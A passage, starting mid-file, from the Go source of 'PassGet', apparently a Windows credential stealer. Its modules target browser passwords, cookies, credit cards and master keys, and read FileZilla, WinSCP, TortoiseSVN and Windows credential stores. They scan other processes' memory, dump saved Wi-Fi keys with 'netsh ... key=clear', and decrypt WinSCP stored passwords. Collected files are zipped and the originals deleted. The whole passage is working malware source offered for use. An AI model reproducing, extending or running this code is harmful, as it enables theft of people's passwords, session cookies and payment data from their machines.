131 | if err != nil {
132 | return err
133 | }
134 | defer r.Close()
135 |
136 | _, err = io.Copy(f, r)
137 | return err
138 | }
139 | return nil
140 | })
141 |
142 | if err := zipWriter.Close(); err != nil {
143 | return fmt.Errorf("error closing zip writer: %w", err)
144 | }
145 |
146 | zipFilename := filepath.Join(dir, filepath.Base(dir)+".zip")
147 | return WriteFile(buffer, zipFilename)
148 | }
149 |
150 | func addFileToZip(zw *zip.Writer, filename string) error {
151 | content, err := os.ReadFile(filename)
152 | if err != nil {
153 | return fmt.Errorf("error reading file %s: %w", filename, err)
154 | }
155 |
156 | fw, err := zw.Create(filepath.Base(filename))
157 | if err != nil {
158 | return fmt.Errorf("error creating zip entry for %s: %w", filename, err)
159 | }
160 |
161 | if _, err = fw.Write(content); err != nil {
162 | return fmt.Errorf("error writing content to zip for %s: %w", filename, err)
163 | }
164 |
165 | if err = os.Remove(filename); err != nil {
166 | return fmt.Errorf("error removing original file %s: %w", filename, err)
167 | }
168 |
169 | return nil
170 | }
171 |
172 | func WriteFile(buffer *bytes.Buffer, filename string) error {
173 | outFile, err := os.Create(filename)
174 | if err != nil {
175 | return fmt.Errorf("error creating output file %s: %w", filename, err)
176 | }
177 | defer func() {
178 | _ = outFile.Close()
179 | }()
180 |
181 | if _, err = buffer.WriteTo(outFile); err != nil {
182 | return fmt.Errorf("error writing data to file %s: %w", filename, err)
183 | }
184 |
185 | return nil
186 | }
187 |
--------------------------------------------------------------------------------
/modules/utils/browser/types/types.go:
--------------------------------------------------------------------------------
1 | package types
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 | )
8 |
9 | type DataType int
10 |
11 | const (
12 | ChromiumKey DataType = iota
13 | ChromiumPassword
14 | ChromiumCookie
15 | ChromiumBookmark
16 | ChromiumHistory
17 | ChromiumDownload
18 | ChromiumCreditCard
19 | ChromiumLocalStorage
20 | ChromiumSessionStorage
21 | ChromiumExtension
22 |
23 | YandexPassword
24 | YandexCreditCard
25 |
26 | FirefoxKey4
27 | FirefoxPassword
28 | FirefoxCookie
29 | FirefoxBookmark
30 | FirefoxHistory
31 | FirefoxDownload
32 | FirefoxCreditCard
33 | FirefoxLocalStorage
34 | FirefoxSessionStorage
35 | FirefoxExtension
36 | )
37 |
38 | var itemFileNames = map[DataType]string{
39 | ChromiumKey: fileChromiumKey,
40 | ChromiumPassword: fileChromiumPassword,
41 | ChromiumCookie: fileChromiumCookie,
42 | ChromiumBookmark: fileChromiumBookmark,
43 | ChromiumDownload: fileChromiumDownload,
44 | ChromiumLocalStorage: fileChromiumLocalStorage,
45 | ChromiumSessionStorage: fileChromiumSessionStorage,
46 | ChromiumCreditCard: fileChromiumCredit,
47 | ChromiumExtension: fileChromiumExtension,
48 | ChromiumHistory: fileChromiumHistory,
49 | YandexPassword: fileYandexPassword,
50 | YandexCreditCard: fileYandexCredit,
51 | FirefoxKey4: fileFirefoxKey4,
52 | FirefoxPassword: fileFirefoxPassword,
53 | FirefoxCookie: fileFirefoxCookie,
54 | FirefoxBookmark: fileFirefoxData,
55 | FirefoxDownload: fileFirefoxData,
56 | FirefoxLocalStorage: fileFirefoxLocalStorage,
57 | FirefoxHistory: fileFirefoxData,
58 | FirefoxExtension: fileFirefoxExtension,
59 | FirefoxSessionStorage: UnsupportedItem,
60 | FirefoxCreditCard: UnsupportedItem,
61 | }
62 |
63 | func (i DataType) String() string {
64 | switch i {
65 | case ChromiumKey:
66 | return "ChromiumKey"
67 | case ChromiumPassword:
68 | return "ChromiumPassword"
69 | case ChromiumCookie:
70 | return "ChromiumCookie"
71 | case ChromiumBookmark:
72 | return "ChromiumBookmark"
73 | case ChromiumHistory:
74 | return "ChromiumHistory"
75 | case ChromiumDownload:
76 | return "ChromiumDownload"
77 | case ChromiumCreditCard:
78 | return "ChromiumCreditCard"
79 | case ChromiumLocalStorage:
80 | return "ChromiumLocalStorage"
81 | case ChromiumSessionStorage:
82 | return "ChromiumSessionStorage"
83 | case ChromiumExtension:
84 | return "ChromiumExtension"
85 | case YandexPassword:
86 | return "YandexPassword"
87 | case YandexCreditCard:
88 | return "YandexCreditCard"
89 | case FirefoxKey4:
90 | return "FirefoxKey4"
91 | case FirefoxPassword:
92 | return "FirefoxPassword"
93 | case FirefoxCookie:
94 | return "FirefoxCookie"
95 | case FirefoxBookmark:
96 | return "FirefoxBookmark"
97 | case FirefoxHistory:
98 | return "FirefoxHistory"
99 | case FirefoxDownload:
100 | return "FirefoxDownload"
101 | case FirefoxCreditCard:
102 | return "FirefoxCreditCard"
103 | case FirefoxLocalStorage:
104 | return "FirefoxLocalStorage"
105 | case FirefoxSessionStorage:
106 | return "FirefoxSessionStorage"
107 | case FirefoxExtension:
108 | return "FirefoxExtension"
109 | default:
110 | return "UnsupportedItem"
111 | }
112 | }
113 |
114 | // Filename returns the filename for the item, defined by browser
115 | // chromium local storage is a folder, so it returns the file name of the folder
116 | func (i DataType) Filename() string {
117 | if fileName, ok := itemFileNames[i]; ok {
118 | return fileName
119 | }
120 | return UnsupportedItem
121 | }
122 |
123 | // TempFilename returns the temp filename for the item with suffix
124 | // eg: chromiumKey_0.temp
125 | func (i DataType) TempFilename() string {
126 | const tempSuffix = "temp"
127 | tempFile := fmt.Sprintf("%s_%d.%s", i.Filename(), i, tempSuffix)
128 | return filepath.Join(os.TempDir(), tempFile)
129 | }
130 |
131 | // IsSensitive returns whether the item is sensitive data
132 | // password, cookie, credit card, master key is unlimited
133 | func (i DataType) IsSensitive() bool {
134 | switch i {
135 | case ChromiumKey, ChromiumCookie, ChromiumPassword, ChromiumCreditCard,
136 | FirefoxKey4, FirefoxPassword, FirefoxCookie, FirefoxCreditCard,
137 | YandexPassword, YandexCreditCard:
138 | return true
139 | default:
140 | return false
141 | }
142 | }
143 |
144 | // FilterSensitiveItems returns the sensitive items
145 | func FilterSensitiveItems(items []DataType) []DataType {
146 | var filtered []DataType
147 | for _, item := range items {
148 | if item.IsSensitive() {
149 | filtered = append(filtered, item)
150 | }
151 | }
152 | return filtered
153 | }
154 |
155 | // DefaultFirefoxTypes returns the default items for the firefox browser
156 | var DefaultFirefoxTypes = []DataType{
157 | FirefoxKey4,
158 | FirefoxPassword,
159 | FirefoxCookie,
160 | FirefoxBookmark,
161 | FirefoxHistory,
162 | FirefoxDownload,
163 | FirefoxCreditCard,
164 | FirefoxLocalStorage,
165 | FirefoxSessionStorage,
166 | FirefoxExtension,
167 | }
168 |
169 | // DefaultYandexTypes returns the default items for the yandex browser
170 | var DefaultYandexTypes = []DataType{
171 | ChromiumKey,
172 | ChromiumCookie,
173 | ChromiumBookmark,
174 | ChromiumHistory,
175 | ChromiumDownload,
176 | ChromiumExtension,
177 | YandexPassword,
178 | ChromiumLocalStorage,
179 | ChromiumSessionStorage,
180 | YandexCreditCard,
181 | }
182 |
183 | // DefaultChromiumTypes returns the default items for the chromium browser
184 | var DefaultChromiumTypes = []DataType{
185 | ChromiumKey,
186 | ChromiumPassword,
187 | ChromiumCookie,
188 | ChromiumBookmark,
189 | ChromiumHistory,
190 | ChromiumDownload,
191 | ChromiumCreditCard,
192 | ChromiumLocalStorage,
193 | ChromiumSessionStorage,
194 | ChromiumExtension,
195 | }
196 |
197 | // item's default filename
198 | const (
199 | fileChromiumKey = "Local State"
200 | fileChromiumCredit = "Web Data"
201 | fileChromiumPassword = "Login Data"
202 | fileChromiumHistory = "History"
203 | fileChromiumDownload = "History"
204 | fileChromiumCookie = "Cookies"
205 | fileChromiumBookmark = "Bookmarks"
206 | fileChromiumLocalStorage = "Local Storage/leveldb"
207 | fileChromiumSessionStorage = "Session Storage"
208 | fileChromiumExtension = "Secure Preferences" // TODO: add more extension files and folders, eg: Preferences
209 |
210 | fileYandexPassword = "Ya Passman Data"
211 | fileYandexCredit = "Ya Credit Cards"
212 |
213 | fileFirefoxKey4 = "key4.db"
214 | fileFirefoxCookie = "cookies.sqlite"
215 | fileFirefoxPassword = "logins.json"
216 | fileFirefoxData = "places.sqlite"
217 | fileFirefoxLocalStorage = "webappsstore.sqlite"
218 | fileFirefoxExtension = "extensions.json"
219 |
220 | UnsupportedItem = "unsupported item"
221 | )
222 |
--------------------------------------------------------------------------------
/modules/utils/browser/typeutil/typeutil.go:
--------------------------------------------------------------------------------
1 | package typeutil
2 |
3 | import (
4 | "time"
5 | )
6 |
7 | // Keys returns a slice of the keys of the map. based with go 1.18 generics
8 | func Keys[K comparable, V any](m map[K]V) []K {
9 | r := make([]K, 0, len(m))
10 | for k := range m {
11 | r = append(r, k)
12 | }
13 | return r
14 | }
15 |
16 | // Signed is a constraint that permits any signed integer type.
17 | // If future releases of Go add new predeclared signed integer types,
18 | // this constraint will be modified to include them.
19 | type Signed interface {
20 | ~int | ~int8 | ~int16 | ~int32 | ~int64
21 | }
22 |
23 | func IntToBool[T Signed](a T) bool {
24 | switch a {
25 | case 0, -1:
26 | return false
27 | }
28 | return true
29 | }
30 |
31 | func Reverse[T any](s []T) []T {
32 | h := make([]T, len(s))
33 | for i := 0; i < len(s); i++ {
34 | h[i] = s[len(s)-i-1]
35 | }
36 | return h
37 | }
38 |
39 | func TimeStamp(stamp int64) time.Time {
40 | s := time.Unix(stamp, 0)
41 | if s.Local().Year() > 9999 {
42 | return time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local)
43 | }
44 | return s
45 | }
46 |
47 | func TimeEpoch(epoch int64) time.Time {
48 | maxTime := int64(99633311740000000)
49 | if epoch > maxTime {
50 | return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
51 | }
52 | t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.Local)
53 | d := time.Duration(epoch)
54 | for i := 0; i < 1000; i++ {
55 | t = t.Add(d)
56 | }
57 | return t
58 | }
59 |
--------------------------------------------------------------------------------
/modules/utils/modules.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "os/user"
5 | "time"
6 | )
7 |
8 | var (
9 | HomeDir = GetHomeDir()
10 | WindowsStartMenu = HomeDir + `\AppData\Roaming\Microsoft\Windows\Start Menu\Programs`
11 | WindowsStartMenu2 = `C:\ProgramData\Microsoft\Windows\Start Menu\Programs`
12 | WindowsDeskTop = HomeDir + `\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`
13 | WindowsDirs = []string{WindowsStartMenu, WindowsStartMenu2, WindowsDeskTop}
14 | WindowsCredentials = HomeDir + `\AppData\Local\Microsoft\Credentials`
15 | FileZillaProfilesDir = HomeDir + `\AppData\Roaming\FileZilla\`
16 | FileZillaProfile1 = `\recentservers.xml`
17 | FileZillaProfile2 = `\sitemanager.xml`
18 | WinSCPProfilePath = HomeDir + `\AppData\Roaming\`
19 | WinSCPProfile = `\WinSCP.ini`
20 | TortoiseSVNProfilePath = HomeDir + `\AppData\Roaming\Subversion\auth\svn.simple`
21 | )
22 |
23 | const (
24 | PROCESS_VM_READ = 0x0010
25 | PROCESS_QUERY_INFORMATION = 0x0400
26 | )
27 |
28 | type Proc struct {
29 | PID int32
30 | Path string
31 | Name string
32 | }
33 |
34 | func GetHomeDir() string {
35 | user, err := user.Current()
36 | if err != nil {
37 | panic(err)
38 | }
39 | return user.HomeDir
40 | }
41 | func GetCurrentDateString(format string) string {
42 | return time.Now().Format(format)
43 | }
44 |
--------------------------------------------------------------------------------
/modules/utils/remote/remote.go:
--------------------------------------------------------------------------------
1 | package remote
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "github.com/shirou/gopsutil/v3/process"
6 | "golang.org/x/sys/windows"
7 | "path/filepath"
8 | "strconv"
9 | "strings"
10 | "unsafe"
11 | )
12 |
13 | func OpenProcess(pid int32) (windows.Handle, error) {
14 | handle, err := windows.OpenProcess(utils.PROCESS_VM_READ|utils.PROCESS_QUERY_INFORMATION, false, uint32(pid))
15 | if err != nil {
16 | // return 0, fmt.Errorf("failed to open process: %v", err)
17 | }
18 | return handle, nil
19 | }
20 | func ReadMemory(handle windows.Handle, address uintptr, size uint32) ([]byte, error) {
21 | buffer := make([]byte, size)
22 | var bytesRead uintptr
23 | err := windows.ReadProcessMemory(handle, address, &buffer[0], uintptr(size), &bytesRead)
24 | if err != nil {
25 | // return nil, fmt.Errorf("failed to read memory: %v", err)
26 | }
27 | return buffer, nil
28 | }
29 | func SearchMemory(handle windows.Handle, pattern []byte, todesk bool) ([]uintptr, []byte, error) {
30 | var results []uintptr
31 | var memoryInfo windows.MemoryBasicInformation
32 | var datas []byte
33 | if todesk {
34 | datas = make([]byte, 0)
35 | }
36 | address := uintptr(0)
37 | for {
38 | err := windows.VirtualQueryEx(handle, address, &memoryInfo, unsafe.Sizeof(memoryInfo))
39 | if err != nil || memoryInfo.RegionSize == 0 {
40 | break
41 | }
42 |
43 | if memoryInfo.State == windows.MEM_COMMIT && (memoryInfo.Protect&windows.PAGE_READWRITE) != 0 {
44 | data, err := ReadMemory(handle, memoryInfo.BaseAddress, uint32(memoryInfo.RegionSize))
45 | if err == nil {
46 | if todesk {
47 | datas = append(datas, data...)
48 | }
49 | for i := 0; i < len(data)-len(pattern); i++ {
50 | if MatchPattern(data[i:i+len(pattern)], pattern) {
51 | results = append(results, memoryInfo.BaseAddress+uintptr(i))
52 | }
53 | }
54 | }
55 | }
56 | address = memoryInfo.BaseAddress + uintptr(memoryInfo.RegionSize)
57 | }
58 | if todesk {
59 | return results, datas, nil
60 | }
61 | return results, nil, nil
62 | }
63 | func MatchPattern(data, pattern []byte) bool {
64 | for i := range pattern {
65 | if data[i] != pattern[i] {
66 | return false
67 | }
68 | }
69 | return true
70 | }
71 | func ExtractBetween(value, startDelim, endDelim string) string {
72 | start := strings.Index(value, startDelim)
73 | if start == -1 {
74 | return ""
75 | }
76 | start += len(startDelim)
77 |
78 | end := strings.Index(value[start:], endDelim)
79 | if end == -1 {
80 | return ""
81 | }
82 |
83 | return value[start : start+end]
84 | }
85 | func IsNumeric(s string) bool {
86 | _, err := strconv.Atoi(strings.TrimSpace(s))
87 | return err == nil
88 | }
89 | func GetProcessList(name string) []utils.Proc {
90 | processes, err := process.Processes()
91 | if err != nil {
92 | return nil
93 | }
94 | Procs := make([]utils.Proc, 0)
95 | for _, proc := range processes {
96 | procName, err := proc.Name()
97 | if err != nil {
98 | continue
99 | }
100 |
101 | // 如果进程名称匹配
102 | if strings.EqualFold(procName, name) {
103 | // 获取进程的可执行文件路径
104 | path, err := proc.Exe()
105 | if err != nil {
106 | continue
107 | }
108 | // 将 PID 和路径添加到结果中
109 | Procs = append(Procs, utils.Proc{PID: proc.Pid, Path: filepath.Dir(path), Name: procName})
110 | }
111 | }
112 |
113 | // 如果没有找到任何匹配的进程,返回 nil
114 | if len(Procs) == 0 {
115 | return nil
116 | }
117 |
118 | return Procs
119 | }
120 |
--------------------------------------------------------------------------------
/modules/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "os/user"
7 | "path/filepath"
8 | )
9 |
10 | func CheckIsInSlice(Items []string, Item string) bool {
11 | for _, item := range Items {
12 | if item == Item {
13 | return true
14 | }
15 | }
16 | return false
17 | }
18 | func GetSliceLastOne(Items []string) (Item string) {
19 | return Items[len(Items)-1]
20 | }
21 | func ListFilesAndDirs(directory string) ([]string, []string, error) {
22 | var files []string
23 | var dirs []string
24 |
25 | // 使用 filepath.Walk 遍历目录
26 | err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
27 | if err != nil {
28 | return err
29 | }
30 |
31 | // 忽略根目录本身
32 | if path == directory {
33 | return nil
34 | }
35 |
36 | // 判断是文件还是文件夹
37 | if info.IsDir() {
38 | dirs = append(dirs, path) // 如果是目录,添加到 dirs 列表
39 | } else {
40 | files = append(files, path) // 如果是文件,添加到 files 列表
41 | }
42 | return nil
43 | })
44 |
45 | if err != nil {
46 | return nil, nil, err
47 | }
48 |
49 | return files, dirs, nil
50 | }
51 | func CheckIsAdmin() bool {
52 | _, err := user.Current()
53 | return err == nil
54 | }
55 | func OutPutToFile(content string, dir string) error {
56 | _, err := os.Stat(dir)
57 | if os.IsNotExist(err) {
58 | // 目录不存在,创建目录
59 | err = os.MkdirAll(dir, 0755)
60 | if err != nil {
61 | return err
62 | }
63 | }
64 | file, err := os.OpenFile(fmt.Sprintf("%s/results.txt", dir), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
65 | if err != nil {
66 | return err
67 | }
68 | defer file.Close()
69 |
70 | // 写入内容
71 | _, err = file.WriteString(content)
72 | if err != nil {
73 | return err
74 | }
75 | return nil
76 | }
77 |
--------------------------------------------------------------------------------
/modules/wifi/wifi.go:
--------------------------------------------------------------------------------
1 | package wifi
2 |
3 | import (
4 | "fmt"
5 | "os/exec"
6 | "strings"
7 | )
8 |
9 | type Wifi struct {
10 | SSID string
11 | Password string
12 | }
13 |
14 | // getWifiPasswords 获取已连接过的 Wi-Fi 网络名称及其密码
15 | func getWifiPasswords() ([]Wifi, error) {
16 | cmd := exec.Command("netsh", "wlan", "show", "profiles")
17 | output, err := cmd.CombinedOutput()
18 | if err != nil {
19 | return nil, fmt.Errorf("failed to run netsh command: %v", err)
20 | }
21 | profiles := make([]Wifi, 0)
22 | for _, line := range strings.Split(string(output), "\n") {
23 | if strings.Contains(line, "User Profile") {
24 | data := Wifi{
25 | SSID: strings.TrimSpace(strings.Split(line, ":")[1]),
26 | }
27 | password, err := getWifiPassword(data.SSID)
28 | if err != nil {
29 | continue
30 | }
31 | data.Password = password
32 | profiles = append(profiles, data)
33 | }
34 | }
35 | return profiles, nil
36 | }
37 |
38 | // getWifiPassword 获取指定网络的密码
39 | func getWifiPassword(profileName string) (string, error) {
40 | // 执行 netsh wlan show profile "profileName" key=clear 命令来查看密码
41 | cmd := exec.Command("netsh", "wlan", "show", "profile", profileName, "key=clear")
42 | output, err := cmd.CombinedOutput()
43 | if err != nil {
44 | return "", fmt.Errorf("failed to run netsh command for profile %s: %v", profileName, err)
45 | }
46 |
47 | // 解析输出,查找密码字段
48 | lines := strings.Split(string(output), "\n")
49 | for _, line := range lines {
50 | if strings.Contains(line, "Key Content") {
51 | // 提取密码
52 | password := strings.TrimSpace(strings.Split(line, ":")[1])
53 | return password, nil
54 | }
55 | }
56 | return "", fmt.Errorf("password not found for profile %s", profileName)
57 | }
58 |
59 | func Get() []Wifi {
60 | // 获取连接过的 Wi-Fi 网络及其密码
61 | profiles, err := getWifiPasswords()
62 | if err != nil {
63 | fmt.Println(err)
64 | return nil
65 | }
66 | return profiles
67 | }
68 |
--------------------------------------------------------------------------------
/modules/winscp/winscp.go:
--------------------------------------------------------------------------------
1 | package winscp
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "fmt"
6 | "github.com/go-ini/ini"
7 | "golang.org/x/sys/windows/registry"
8 | "io/ioutil"
9 | "log"
10 | "regexp"
11 | "strings"
12 | )
13 |
14 | type ServerDetail struct {
15 | Name string
16 | HostName string
17 | PortNumber string
18 | UserName string
19 | Password string
20 | PasswordPlain string
21 | }
22 |
23 | const PW_MAGIC = 0xA3
24 | const PW_FLAG = 0xFF
25 |
26 | type Flags struct {
27 | flag rune
28 | remainingPass string
29 | }
30 |
31 | func (S *ServerDetail) DecryptNextCharacterWinSCP(Password string) Flags {
32 | var Flag Flags
33 | bases := "0123456789ABCDEF"
34 |
35 | // Find the first and second character values
36 | firstval := strings.Index(bases, string(Password[0])) * 16
37 | secondval := strings.Index(bases, string(Password[1]))
38 | added := firstval + secondval
39 | Flag.flag = rune(((^(added ^ PW_MAGIC) % 256) + 256) % 256) // decrypt the character
40 | Flag.remainingPass = Password[2:] // Remaining password
41 | return Flag
42 | }
43 | func Get(Path string) []ServerDetail {
44 | return GetSavedData(Path)
45 | }
46 | func GetSavedData(Path string) []ServerDetail {
47 | k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
48 | defer k.Close()
49 | if err != nil {
50 | fmt.Println("Can Not Found Data From Registry.")
51 | ServerDetails := GetSaveDataFromFile(Path)
52 | if ServerDetails != nil {
53 | return ServerDetails
54 | }
55 | fmt.Println("Can Not Found Data From File.")
56 | return nil
57 | }
58 | Sessions, err := k.ReadSubKeyNames(0)
59 | if err == nil && len(Sessions) > 1 {
60 | ServerDetails := make([]ServerDetail, 0)
61 | for _, Session := range Sessions {
62 | if strings.Contains(Session, "Default") {
63 | continue
64 | }
65 | Server := ServerDetail{
66 | Name: Session,
67 | }
68 | S, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+Session, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
69 | defer k.Close()
70 | if err != nil {
71 | continue
72 | }
73 | Server.HostName, _, _ = S.GetStringValue(`HostName`)
74 | Server.PortNumber, _, _ = S.GetStringValue(`PortNumber`)
75 | Server.UserName, _, _ = S.GetStringValue(`UserName`)
76 | Server.Password, _, _ = S.GetStringValue(`Password`)
77 | Server.Decrypt()
78 | ServerDetails = append(ServerDetails, Server)
79 | }
80 | return ServerDetails
81 | } else {
82 | fmt.Println("Can Not Found Data From Registry.")
83 | return nil
84 | }
85 | }
86 | func GetSaveDataFromFile(Path string) []ServerDetail {
87 | if Path == "" {
88 | Path = utils.WinSCPProfilePath
89 | }
90 | file, _, err := utils.ListFilesAndDirs(Path)
91 | if err != nil {
92 | fmt.Println(err)
93 | return nil
94 | }
95 | if utils.CheckIsInSlice(file, utils.WinSCPProfile) {
96 | fmt.Println("No Data File.")
97 | return nil
98 | }
99 | Sections := getSection(Path)
100 | if len(Sections) == 0 {
101 | fmt.Println("No Data File.")
102 | return nil
103 | }
104 | cfg, err := ini.Load(Path + utils.WinSCPProfile)
105 | if err != nil {
106 | log.Printf("Fail to read file: %v", err)
107 | return nil
108 | }
109 | ServerDetails := make([]ServerDetail, 0)
110 | for _, v := range Sections {
111 | Server := ServerDetail{
112 | Name: strings.Split(v, `\`)[1],
113 | }
114 | Server.HostName = cfg.Section(v).Key("HostName").String()
115 | Server.PortNumber = cfg.Section(v).Key("PortNumber").String()
116 | Server.UserName = cfg.Section(v).Key("UserName").String()
117 | Server.Password = cfg.Section(v).Key("Password").String()
118 | Server.Decrypt()
119 | ServerDetails = append(ServerDetails, Server)
120 | }
121 | return ServerDetails
122 | }
123 | func getSection(Path string) []string {
124 | data, err := ioutil.ReadFile(Path + utils.WinSCPProfile) // 假设配置文件为 config.ini
125 | if err != nil {
126 | log.Fatalf("Error reading file: %v", err)
127 | }
128 |
129 | // 正则表达式匹配所有 [Session.*] 部分
130 | re := regexp.MustCompile(`\[Session.*?\]`)
131 |
132 | // 查找所有匹配的部分
133 | matches := re.FindAllString(string(data), -1)
134 | final_datas := make([]string, 0)
135 | // 输出匹配结果
136 | for _, match := range matches {
137 | final_datas = append(final_datas, match[1:len(match)-1])
138 | }
139 | return final_datas
140 | }
141 | func (S *ServerDetail) Decrypt() {
142 | if S.Password == "" {
143 | S.PasswordPlain = ""
144 | return
145 | }
146 | var length rune
147 | var clearpwd string
148 | unicodeKey := S.UserName + S.HostName
149 | Flag := S.DecryptNextCharacterWinSCP(S.Password)
150 | storedFlag := Flag.flag
151 |
152 | if storedFlag == PW_FLAG {
153 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass)
154 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass)
155 | length = Flag.flag
156 | } else {
157 | length = Flag.flag
158 | }
159 |
160 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass)
161 | Flag.remainingPass = Flag.remainingPass[Flag.flag*2:]
162 |
163 | // Loop to get the password
164 | for i := 0; i < int(length); i++ {
165 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass)
166 | clearpwd += string(Flag.flag)
167 | }
168 |
169 | // If the storedFlag is PW_FLAG, check for the unicodeKey in the clear password
170 | if storedFlag == PW_FLAG {
171 | if strings.HasPrefix(clearpwd, unicodeKey) {
172 | clearpwd = clearpwd[len(unicodeKey):] // Remove unicodeKey prefix
173 | } else {
174 | clearpwd = "" // Invalid password
175 | }
176 | }
177 | S.PasswordPlain = clearpwd
178 | }
179 |
--------------------------------------------------------------------------------